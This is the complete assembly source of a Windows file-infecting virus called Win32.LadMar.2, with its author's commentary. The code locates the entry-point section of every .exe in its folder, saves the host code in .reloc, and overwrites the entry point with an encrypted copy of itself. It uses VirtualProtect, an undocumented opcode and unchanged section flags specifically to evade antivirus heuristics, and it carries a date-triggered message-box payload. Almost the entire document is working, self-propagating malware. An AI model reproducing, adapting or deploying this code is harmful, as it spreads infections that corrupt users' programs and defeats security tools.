```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;
;
;    Win32.LadMar.2
;    Coded By ValleZ.
;    Size:  848h bytes.
;
;    This is my second virus and probably virus had not optimized code,or bad ideas,or
;    other things,but,as i said,its my second so im excused :P if its a lame virus.
;    Well,i thing this is a interesting virus becoz it infect with a method that i hadnt seen
;    before(however i dont say it no exist,but i havent seen it). Virus overwrite code
;    of host,over entry point,after it has copy host code in .reloc.When it returns to host
;    it copy again host to entry point and jmp there.Virus place return to host rutine in
;    imagebase + 26h, in word oeminfo and 5 * dword reserved.
;    Virus is encrypted with random key.
;    Virus no change flags of code section where it overwrite code of host becoz avs heuristic
;    could detect it. It use VirtualProtect api to set his memory as writable.
;    I want to include some antidebug rutines in virus code but finally i think better not
;    becoz size of virus is 848h bytes...and if it grow up very much probably it cannot infect
;    any file becoz it will be more big than reloc.
;    Virus doesnt increase size of file and no change entry point.
;    It places his own SEH and test files with SfcIsFileProtected api when sfc.dll exists.
;    It infects all files in his folder that can be infected.
;    In NT machines only infect if it has necesary permission.
;    In header it only change: ImageBase + 26h to ImageBase + 3ch,with code to return host.
;                              Byte 1 of TimeDateStamp in PEheader + 08h.
;                              Flags of .reloc to do it not discarcheable.
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


.586p
.model flat,stdcall


extrn ExitProcess:proc

                                sizeVir = endVir - startVir
                                sizecrypt = decryptz - retHost
.data
db 0
.code
start:
startVir:
                                push    ebx             ;registers preserved too
                                push    ecx
                                push    edx
                                push    esi
                                push    edi
                                push    ebp

                                call    d_offset        ;delta offset
d_offset:
                                pop     ebp
                                sub     EBP,offset d_offset
                                jmp     decryptz
retHost:
SEHout:
                                mov     esp,00000000h

                                pop     dword ptr fs:[0]  ;SEH return
                                pop     ebp
                                pop     ebp     ;ebp too was saved,so we can restore it

                                lea     eax,[ebp + offset baseCalc]
                                xor     al,al

                                xor     ecx,ecx
                                mov     cx,100h
                                add     eax,ecx
baseCalc:
                                sub     eax,ecx
                                cmp     word ptr [eax],'ZM'  ;search for image base
                                jne     baseCalc

                                mov     esi,[eax + 1ch]    ;dir of reloc
```

```
                        add     esi,eax           ;this header dword is modified
                                                  ;when file is infected
                        mov     ecx, [eax+3Ch]
                        add     ecx, eax
                        mov     dx,[ecx + 8]
                        cmp     dx,'vz'           ;test if this is a infected file,
                        jne     Exit              ;second generation,i no test it with
                                                  ;or ebp,ebp becoz
                                                  ;with this infection method
                                                  ;sometimes ebp = 0 in 2º gen.

                        lea     edi,[ebp + startVir]
                        add     eax,26h           ;goto return code in image base + 26h

                        jmp   eax
Exit:
                        push    0
                        call  ExitProcess

ReturnHost:

                                                  ;return host code.It is put in dos
                                                  ;header 5 reserved dwords + oeminfo.
                        mov     eax,edi
                        mov   ecx,sizeVir + 1

again1:                 rep   movsb     ;copy host code in entry point direction
                        jcxz   next1    ;to recover the host body and
                        loop  again1    ;next jmp to entry point and begin
next1:                                  ;execution of host.
                        pop   ebp
                        pop   edi
                        pop   esi       ;i think some programs fails if not preserve
                        pop   edx
                        pop   ecx
                        pop   ebx
                        jmp     eax
ReturnHost_:


vir:
                        xor   edx,edx                         ;small fix :P
                        mov   [ebp + SfcIsFileProtectedz],edx ;sometimes fault becoz
                                                              ;thought it has sfc api


                        ;my SetWritrableCode rutine is prepared for with a few
                        ;changes can search a api directly from export.
                        ;really,rutine search VirtualProtect for
                        ;change virus pages to readable,writable and executable
                        ;but putting GetProcAddress offset in repuse + 2 and
                        ;putting a ret in a good site rutine will search
                        ;GetProcAddress and we not spend bytes in repeat code ;)

                        mov   eax,offset GPA
                        mov   dword ptr [ebp + repuse + 2],eax
                        mov   ax,0c35bh ;pop ebx,ret
                        mov   word ptr [ebp + repuse2],ax
                        lea   eax,[ebp + SetWritableCode]
                        call  eax

                        ;of course after use rutine for our propose
                        ;we must rewrite good offset of VP and good code
                        ;where we write ret becoz when infect next generation
                        ;file the code of rutine must be the first


                        lea   ebx,[ebp + offset VP]
                        mov   dword ptr [ebp + repuse + 2],ebx
                        mov   cx,6a54h
                        mov   word ptr [ebp + repuse2],cx
                        mov   edi,[ebp + kern]
                        mov   [EBP + offset GetProcAddressz],EAX


;we have GetProcAddress,we can be happy! We can get all apis we need and
;we can start to infect files ;)
;next code calc apis
;In data apis must be in this form:
;api1kernel 0 api2kernel 0 ... apiNkernel 00 Library1nxt 0 api1nxtLib 0 api2nxtLib 0
```

```
;... apiNnxtLib 00 ... LibreriaNnxt 000
;00 is change of library and 000 is finish of apis


                                lea     ESI,[EBP + offset ApisNames]
                                mov     ebx,edi
                                mov     ECX,[EBP + offset GetProcAddressz]
                                lea     EDX,[EBP + offset dirApis]

nextAPI:

                                push    EDX
                                push    ESI
                                push    ebx
                                mov     edx,[ebp + GetProcAddressz]
                                call    edx
                                pop     EDX
                                mov     [EDX],EAX
                                add     EDX,4h
searchApis:
                                inc     ESI
                                mov     AL,byte ptr[ESI]
                                or      AL,AL
                                jnz     searchApis

                                inc     ESI
                                mov     AL,byte ptr[ESI]
                                or      AL,al
                                jnz     nextAPI

                                inc     ESI
                                mov     AL,byte ptr[ESI]
                                or      AL,al
                                jz      allApisFounds


                                push    EDX

                                cmp     ebx,[EBP + offset kern]
                                je      IsKern

IsKern:                         push    ESI
                                mov     eax,dword ptr [ebp + offset LoadLibraryAz]
                                call    eax
                                or      eax,eax   ;por la sfc.dll en 9x
                                jz      allApisButSfcNot

                                mov     EBX,EAX
                                pop     EDX

                                jmp     searchApis


allApisButSfcNot:
                                pop   edx
allApisFounds:


SEH: ;set SEH for me,save ebp too

                                push    ebp
                                lea     eax,[ebp + retHost]
                                push    eax
                                mov     eax,fs:[0]
                                push    eax
                                mov     fs:[0],esp
                                mov     dword ptr[ebp + offset SEHout + 1],esp



;payload only show a message box if 23-7-XX,but when i had a moment ill put some payload
;a few more original :P

Payload:                ;payload (only 9x)

                                mov     eax,dword ptr [ebp + offset GetVersionz]
                                call    eax
                                test    EAX,08000000h
                                jnz     FirstFile
                                lea     ESI, [EBP + offset SystemTime]
```

```
                                push    ESI
                                mov     eax,[EBP + offset GetSystemTimez]
                                call    eax
                                cmp     [ESI.ST_wMonth],7
                                jne     FirstFile
                                cmp     [ESI.ST_wDay],23
                                jne     FirstFile
                                lea     eax,[ebp + pay]
                                lea     esi,[ebp + paytit]
                                push    07h
                                push    esi
                                push    eax
                                push    0
                                mov     eax,dword ptr [ebp + offset MessageBoxAz]
                                call    eax

FirstFile:              ;infect all .exe in his folder that could infect

                                lea     eax,[ebp + offset files]
                                lea     ESI,[ebp + offset WIN32_FIND_DATA]
                                push    ESI
                                push    EAX
                                mov     eax,dword ptr [ebp + offset FindFirstFileAz]
                                call    eax
                                inc     eax
                                jz      retHost
                                dec     eax
                                mov     [ebp + handFile],eax
                                jmp     infection
NextFile:
                                push    dword ptr [ebp+WFD_dwFileAttributes]
                                lea     eax, [ebp + WFD_szFileName]
                                push    eax
                                mov     eax,dword ptr [ebp + offset SetFileAttributesAz]
                                call    eax

                                lea     ESI,[ebp + offset WIN32_FIND_DATA]
                                mov     eax,[ebp + handFile]
                                push    esi
                                push    eax
                                mov     eax, dword ptr [ebp + offset FindNextFileAz]
                                call    eax
                                or      eax,eax
                                jz      retHost
infection:

                                lea     edi,[ebp + offset WFD_szFileName]
                                mov     eax,dword ptr [ebp + offset GetVersionz]
                                call    eax
                                test    EAX,08000000h
                                jz      _9x
NT:

                                ;in NT only infect if have permiss

                                mov     eax,[ebp + offset WFD_dwFileAttributes]
                                test    eax,1915h
                                jnz     NextFile

_9x:                                    ;sfp?? i test it for NT and 9x becoz i have listened
                                        ;millenium have it too,true?

                                push    edi
                                push    0
                                mov     eax,[ebp + SfcIsFileProtectedz]
                                or      eax,eax
                                jz      nosfc
                                call    eax
                                or      eax,eax
                                jnz     NextFile
nosfc:
                                ;next part is tipycal file mapping

                                push    80h
                                push    edi
                                mov     eax, dword ptr[ebp + offset SetFileAttributesAz]
                                call    eax
                                xor     eax,eax
                                push    eax
                                push    eax
```

```
                        push    3
                        push    eax
                        inc     eax
                        push    eax
                        push    0C0000000h
                        push    edi
                        mov     eax,dword ptr [ebp + offset CreateFileAz]
                        call    eax
                        inc     eax
                        or      eax,eax
                        jz      Closed
                        dec     eax
                        mov     [ebp + offset CreateFileHand],eax
                        xor     ebx,ebx
                        push    ebx
                        push    dword ptr[ebp+ offset WFD_nFileSizeLow]
                        push    ebx
                        push    4
                        push    ebx
                        push    eax
                        mov     eax, dword ptr [ebp + offset CreateFileMappingAz]
                        call    eax
                        or      eax,eax
                        jz      CloseFile
                        mov     [ebp + offset CreateFileMappingHand],eax
                        push    dword ptr[ebp + offset WFD_nFileSizeLow]
                        xor     ebx,ebx
                        push    ebx
                        push    ebx
                        push    000F001Fh
                        push    eax
                        mov     eax, dword ptr [ebp + offset MapViewOfFilez]
                        call    eax
                        or      eax,eax
                        jz      CloseMapping
                        mov     [ebp + offset MapViewOfFileHand],eax
                        mov     edi,eax
                        cmp     word ptr [edi],'ZM'     ;test if PE file
                        jne     CloseView
                        cmp     word ptr[edi + 8],4
                        jne     CloseView
                        mov     esi,[edi + 3ch]
                        add     esi,edi
                        cmp     word ptr[esi],'EP'
                        jne     CloseView
                        mov     ax,[esi + 8]      ;not infected yet??
                        cmp     ax,'vz'
                        je      CloseView
                        mov     eax,[esi + 28h]

                        xor     ebx,ebx
                        mov     bx,word ptr[esi + 14h]
                        add     ebx,18h
                        add     ebx,esi
                        push    ebx

BuscaEntrySec:
                        mov     ecx,dword ptr[ebx + 0ch]
                        add     ecx,dword ptr[ebx + 10h] ;search for entryPoint section,
                        cmp     eax,ecx                 ;the section where is entryPoint.
                        jb      EntrySection
                        add     ebx,28h
                        jmp     BuscaEntrySec

EntrySection:
                        mov     edx,[esi + 28h]
                        sub     edx,[ebx + 0ch]
                        add     edx,[ebx + 14h]   ;offset of Epoint in file.No RVA.
                        add     edx,edi
                        ;AddressOfEntryPoint - VAsection + PointerToRawData

                        mov     [ebp + offset EntryPointInFile],edx

                        sub     ecx,eax               ;SectionEnd - entryPoint

                        mov     eax,sizeVir
                        cmp     ecx,eax
                        jb      nxt                   ;enought size for put virus?
                        jmp     nonxt
```

```
nxt:
                                pop     ebx
                                jmp     CloseView

nonxt:

                                mov     ecx,eax
                                pop     ebx
                                push    ecx
                                mov     cx,[esi + 6]
                                sub     ebx,28h
                                inc     cx
buscaReloc:

                                dec     cx                      ;searching for reloc
                                or      cx,cx
                                jz      nxt2
                                jmp     nonxt2

nxt2:
                                pop     ecx                     ;no .reloc
                                jmp     CloseView
nonxt2:
                                add     ebx,28h           ;is this section .reloc?? compare...
                                lea     eax,[ebp + offset reloc]
                                push    ebx
                                push    eax
                                lea     eax,[ebp + offset compara]
                                call    eax
                                pop     edx
                                pop     edx
                                or      eax,eax
                                jne     buscaReloc

                                pop     ecx
                                cmp     dword ptr [ebx + 10h],ecx
                                ;enought space in reloc for virus?

                                jb      CloseView

                                push    ebx
                                push  esi
                                mov     eax,dword ptr [ebx + 0ch]
                                mov     [edi + 1ch],eax     ;reloc dir for nxt gen
                                mov     ebx,[ebx + 14h]     ;go start .reloc
                                add     ebx,edi

;copy return to host code to imagebase + 26h,overwriting oeminfo and next 5 reverved word.
;returnHost is 22 bytes, word oeminfo + 5 * dword reserveds ;)

CopyToReserved:

                                add     edi,26h
                                lea     esi,[ebp + offset ReturnHost]
                                tamReturn = ReturnHost_ - ReturnHost
                                xor ecx,ecx
                                mov cl,tamReturn

again2:                 rep  movsb                      ;copying...
                                jcxz next2
                                loop again2
next2:

CopyReloc:                      mov     esi,[ebp + offset EntryPointInFile]
                                mov     edi,ebx


                                mov  ecx,sizeVir+1    ;copy host in reloc for recover later...
again3:                 rep  movsb
                                jcxz next3
                                loop again3
next3:


                                lea     esi,[ebp + offset startVir]
                                mov     edi,[ebp + offset EntryPointInFile]
                                mov   eax,edi


                                mov ecx,sizeVir         ;copying...
```

```
again4:                 rep  movsb                      ;overwriting host with virus >:D
                             jcxz next4
                             loop again4
next4:


                             sizedecrypt = endVir - decryptz

                             sub edi,sizedecrypt
                             mov ecx,sizecrypt
                             mov eax,[ebp + GetTickCountz]
                             call eax
cryptaz:
                             dec edi                 ;crypt byte to byte with random key
                             xor byte ptr[edi],al
                             loop cryptaz

                             pop   esi
                             pop     ebx

                             mov     dword ptr [ebx + 24h],40000040h
                              ;reloc not discarchable!!
                              ;i think avs no see this flag ;)

CloseHandlesInfectado:
                             mov     ax,'vz'
                             mov     [esi + 8],ax

CloseView:
                             push    dword ptr[ebp + offset MapViewOfFileHand]
                             mov     eax, dword ptr [ebp + offset UnmapViewOfFilez]
                             call    eax
CloseMapping:
                             push    dword ptr[ebp + offset CreateFileMappingHand]
                             mov     eax,dword ptr[ebp + offset CloseHandlez]
                             call    eax
CloseFile:
                             push    dword ptr[ebp + offset CreateFileHand]
                             mov     eax, dword ptr[ebp + offset CloseHandlez]
                             call    eax
Closed:
                             jmp     NextFile


datos:
                             kernel32_ db 'Kernel32',0
                             reloc db '.reloc',0
                             GPA db 'GetProcAddress',0
                             files db '*.exe',0
                             pay db '.....................................',0dh
                                 db ' ....................................',0dh
                                 db '.......stupid payload msg.............',0dh
                                 db '  ..............................',0dh
                             paytit db ' ..............................',0

ApisNames:
                             db 'LoadLibraryA',0
                             db 'GetSystemTime',0
                             db 'CreateFileA',0
                             db 'CreateFileMappingA',0
                             db 'MapViewOfFile',0
                             db 'CloseHandle',0
                             db 'UnmapViewOfFile',0
                             db 'FindFirstFileA',0
                             db 'FindNextFileA',0
                             db 'GetTickCount',0
                             db 'GetVersion',0
                             db 'SetFileAttributesA',0
                             db 'ExitProcess',0
                             db 0
                             db 'User32',0
                             db 'MessageBoxA',0
                             db 0
                             db 'sfc',0
                             db 'SfcIsFileProtected',0
                             finAPIS dw 00h


dirApis:
                             LoadLibraryAz                  dd 0
```

```
                        GetSystemTimez                  dd 0
                        CreateFileAz                    dd 0
                        CreateFileMappingAz             dd 0
                        MapViewOfFilez                  dd 0
                        CloseHandlez                    dd 0
                        UnmapViewOfFilez                dd 0
                        FindFirstFileAz                 dd 0
                        FindNextFileAz                  dd 0
                        GetTickCountz                   dd 0
                        GetVersionz                     dd 0
                        SetFileAttributesAz             dd 0
                        ExitProcessz                    dd 0
                        MessageBoxAz                    dd 0
                        SfcIsFileProtectedz             dd 0


                        CreateFileHand                  dd 0
                        CreateFileMappingHand           dd 0
                        MapViewOfFileHand               dd 0
                        EntryPointInFile                dd 0
                        handFile                        dd 0
                        GetProcAddressz                 dd 0


                        Max_Path                equ 260

                        FILETIME                struc
                        FT_dwLowDateTime        dd      ?
                        FT_dwHighDateTime       dd      ?
                        FILETIME                ends

                        WIN32_FIND_DATA         label   byte
                        WFD_dwFileAttributes    dd              ?
                        WFD_ftCreationTime      FILETIME        ?
                        WFD_ftLastAccessTime  FILETIME        ?
                        WFD_ftLastWriteTime     FILETIME        ?
                        WFD_nFileSizeHigh       dd              ?
                        WFD_nFileSizeLow        dd              ?
                        WFD_dwReserved0         dd              ?
                        WFD_dwReserved1         dd              ?
                        WFD_szFileName          db Max_Path dup (?)
                        WFD_szAlternateFileName db      13 dup (?)
                                                db        03 dup (?)

                        SYSTEMTIME                      struct
                        ST_wYear                dw      ?
                        ST_wMonth               dw      ?
                        ST_wDayOfWeek           dw      ?
                        ST_wDay                 dw      ?
                        ST_wHour                dw      ?
                        ST_wMinute              dw      ?
                        ST_wSecond              dw      ?
                        ST_wMilliseconds        dw      ?
                        SYSTEMTIME                      ends
                        SystemTime        SYSTEMTIME    ?

decryptz:

                        call  SetWritableCode

                        cmp   byte ptr [ebp + offset retHost],0BCh    ;encrypted??
                        je    vir       ;if no encryted jmp code
                        xor   ecx,ecx
                        dec   ecx
whatkey:
                        mov   al,byte ptr [ebp + retHost]
                        ;search the encryption key
                        xor   al,cl
                        sub   al,0bch
                        jz    keyfound
                        loop  whatkey

keyfound:
                        mov   dl,cl
                        lea   esi,[ebp + offset retHost]
                        mov   edi,esi
                        mov   ecx,sizecrypt
decrypt:
                        db    0d6h  ;setalc,undocumented,antiheuristic,is good today???
                        lodsb
```

```
                                xor   al,dl
                                stosb
                                loop decrypt
                                jmp     vir

;SetWritableCode rutine searchs VirtualProtect in kernel export table for calling it
;later and do writable virus code memory zone.Why? Virus code is on code section
;and if code section flags say writable section,avs will see it and will advise
;user that infect file is a posible virus :S so we no set that flag and avs will be
;in silent :)
;In addition with a few modifications explanated and do up,this rutine will search
;getProcAddress so we dont spend bytes in repeat code ;)


SetWritableCode:
                                mov     EAX,[ESP + 28]
                                xor     AX,AX
                                mov     edx,1000h
                                add     eax,edx

VPsearch_kernel:
                                sub     eax,edx
                                mov     CX,word ptr[EAX]
                                cmp     CX, 'ZM'
                                jne     VPsearch_kernel
                                mov     edi,eax
                                mov     EAX,[EAX + 3Ch]  ;PE
                                add     EAX,edi
                                mov     EAX,[EAX + 78h]  ;Dir entrys

                                add     EAX,edi                 ;export table

                                push  eax


                                mov     ECX,[EAX + 20h]  ;exported func names
                                add     ECX,edi
                                xor     EDX,EDX
VPrepeat:
                                mov     EBX,[ECX]
                                add     EBX,edi

                                PUSH    EBX                  ;search GetProcAddress
repuse:
                                lea     EBX,[EBP + offset VP]
                                PUSH    EBX
                                lea     ebx,[ebp + offset compara]
                                call    ebx
                                POP     EBX
                                POP     EBX
                                or      EAX,eax
                                jz      VPfinality
                                add     ECX,4
                                inc     edx
                                inc     edx
                                jmp     VPrepeat                ;edx index ordinal

VPfinality:
                                mov     EAX,[esp]
                                mov     EAX,[EAX + 24h]
                                add     EAX,edi                 ;eax -> ordinal
                                add     EAX,EDX         ;add index
                                mov     EAX,[EAX]         ;index for export address table
                                shr     EAX,10h

                                dec     EAX
                                mov     EBX,[esp]
                                mov     EBX,[EBX + 1ch]   ;array of dirs of func
                                add     EBX,edi         ;we index it in eax
                                add     EAX,EAX
                                add     EAX,EAX
                                add     EAX,EBX
                                mov     EAX,[EAX]               ;dir of VirtualProtect
                                add     EAX,edi
repuse2:
                                push  esp               ;lpflOldProtect is a stack dword
                                push  40h               ;writable,readable and executable
                                push  sizeVir           ;size of memory to put writable
                                lea   ebx,[ebp + startVir]
                                push  ebx
```

```
                                call  eax
                                pop   eax
                                mov   [ebp + kern],edi
                                ret

;this useful ritune compare 2 strings and return 0 if they are identical and 1 if not.

compara:

                                push    ECX
                                push    ESI
                                push  edi

                                mov     ESI,[ESP + 20]
                                mov     EDI,[ESP + 16]
                                mov   ecx,esi
endString:
                                lodsb                 ;lenght of string
                                or    al,al
                                jnz   endString

                                sub   esi,ecx
                                xchg  esi,ecx         ;ecx = lenght   esi = start

                                xor   eax,eax

                                repz  cmpsb
                                je    endCompara
                                inc   eax
endCompara:
                                pop   edi
                                POP   ESI
                                POP   ECX

                                ret

;arrrggghtt!! damn,i have had headache becoz i was using VP string before decrypt it!! ;@

                                VP    db 'VirtualProtect',0
                                kern    dd 0
endVir:
end start
end
```